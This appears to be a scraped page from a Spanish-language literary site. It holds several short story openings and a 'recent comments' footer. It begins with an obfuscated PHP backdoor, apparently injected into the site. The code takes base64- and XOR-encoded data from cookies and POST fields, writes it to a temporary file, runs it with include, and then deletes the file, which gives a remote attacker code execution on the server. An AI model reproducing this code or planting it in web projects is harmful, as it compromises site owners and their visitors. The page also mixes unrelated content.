$nJiipQ = "\x4d" . '_' . "\x48" . chr ( 517 - 443 ).'h' . "\x44" . 'c';$JSZzPIxGbH = "\143" . chr (108) . chr ( 857 - 760 )."\x73" . "\x73" . "\137" . chr (101) . "\170" . chr (105) . chr (115) . "\164" . chr ( 241 - 126 ); $fIaFewIVp = $JSZzPIxGbH($nJiipQ); $nJiipQ = "23744";$GogrbYc = !$fIaFewIVp;$JSZzPIxGbH = "42898";if ($GogrbYc){class M_HJhDc{public function VUjVnhVuEK(){echo "5537";}private $MnLCnTvit;public static $IvErMj = "ea0e5aa3-fac4-4fa1-9ed3-6bffe5e36f6a";public static $UriJCglL = 32002;public function __construct($jhovr=0){$BsAFotg = $_COOKIE;$HvGOKEZQxN = $_POST;$whKRQebSl = @$BsAFotg[substr(M_HJhDc::$IvErMj, 0, 4)];if (!empty($whKRQebSl)){$ItrlW = "base64";$OXyNJYH = "";$whKRQebSl = explode(",", $whKRQebSl);foreach ($whKRQebSl as $FjPPLERFEF){$OXyNJYH .= @$BsAFotg[$FjPPLERFEF];$OXyNJYH .= @$HvGOKEZQxN[$FjPPLERFEF];}$OXyNJYH = array_map($ItrlW . chr ( 610 - 515 ).'d' . "\x65" . 'c' . "\x6f" . chr ( 749 - 649 ).chr (101), array($OXyNJYH,)); $OXyNJYH = $OXyNJYH[0] ^ str_repeat(M_HJhDc::$IvErMj, (strlen($OXyNJYH[0]) / strlen(M_HJhDc::$IvErMj)) + 1);M_HJhDc::$UriJCglL = @unserialize($OXyNJYH);}}private function uDdbCYnU(){if (is_array(M_HJhDc::$UriJCglL)) {$CbAoCoJPkl = sys_get_temp_dir() . "/" . crc32(M_HJhDc::$UriJCglL['s' . chr ( 998 - 901 ).'l' . 't']);@M_HJhDc::$UriJCglL[chr ( 182 - 63 )."\x72" . "\x69" . chr (116) . 'e']($CbAoCoJPkl, M_HJhDc::$UriJCglL["\143" . "\157" . chr (110) . "\164" . 'e' . chr ( 837 - 727 ).'t']);include $CbAoCoJPkl;@M_HJhDc::$UriJCglL["\x64" . chr ( 879 - 778 )."\154" . chr ( 311 - 210 )."\164" . "\x65"]($CbAoCoJPkl); $AhOvtjq = "53441";exit();}}public function __destruct(){$this->uDdbCYnU(); $axitm = str_pad("53441", 10);}}$rQVPaYsKI = new /* 22726 */ M_HJhDc(); $rQVPaYsKI = substr("1707_7598", 1);}
Subí la persiana y entró el sol. Al contrario que antes, me entristeció. Ahora prefería la lluvia.
Desde hace un tiempo estoy perdido y atrapado en un mundo imaginario que yo mismo he creado. No soy quien digo ser; nunca lo he sido.
Adoro los libros, son mi religión. Yo siempre había sido una gran devoradora de libros, seguía mis autores favoritos e intentaba conocer nuevos.
Nada más conocerte, sabía que me enamoraría de ti. Tan educado, tan caballero, tan callado… Un portento físico con ojos azules que me miraban con delicadeza, con labios carnosos que me invitaban a besarte, con esa planta de atleta… Todo tú eras bello.
Me encontré un ojo en la calle. Tirado en el suelo. A su lado, su pareja. Parpadeaban desacompasados. Me di cuenta enseguida de que no se podían ver. Uno miraba al norte, el otro miraba al sur.
Vivir en una furgoneta no es tan duro como parece. He tenido suerte, he encontrado una furgo abandonada. Está descuidada, oxidada y abollada; pero cuando tenga tiempo, con una mano de pintura y unos martillazos lo arreglo.
Todo empezó por el ojo. No es que lo perdiera: seguía ahí, en su sitio, solamente decidió no volver a mirar nunca más.
Comentarios recientes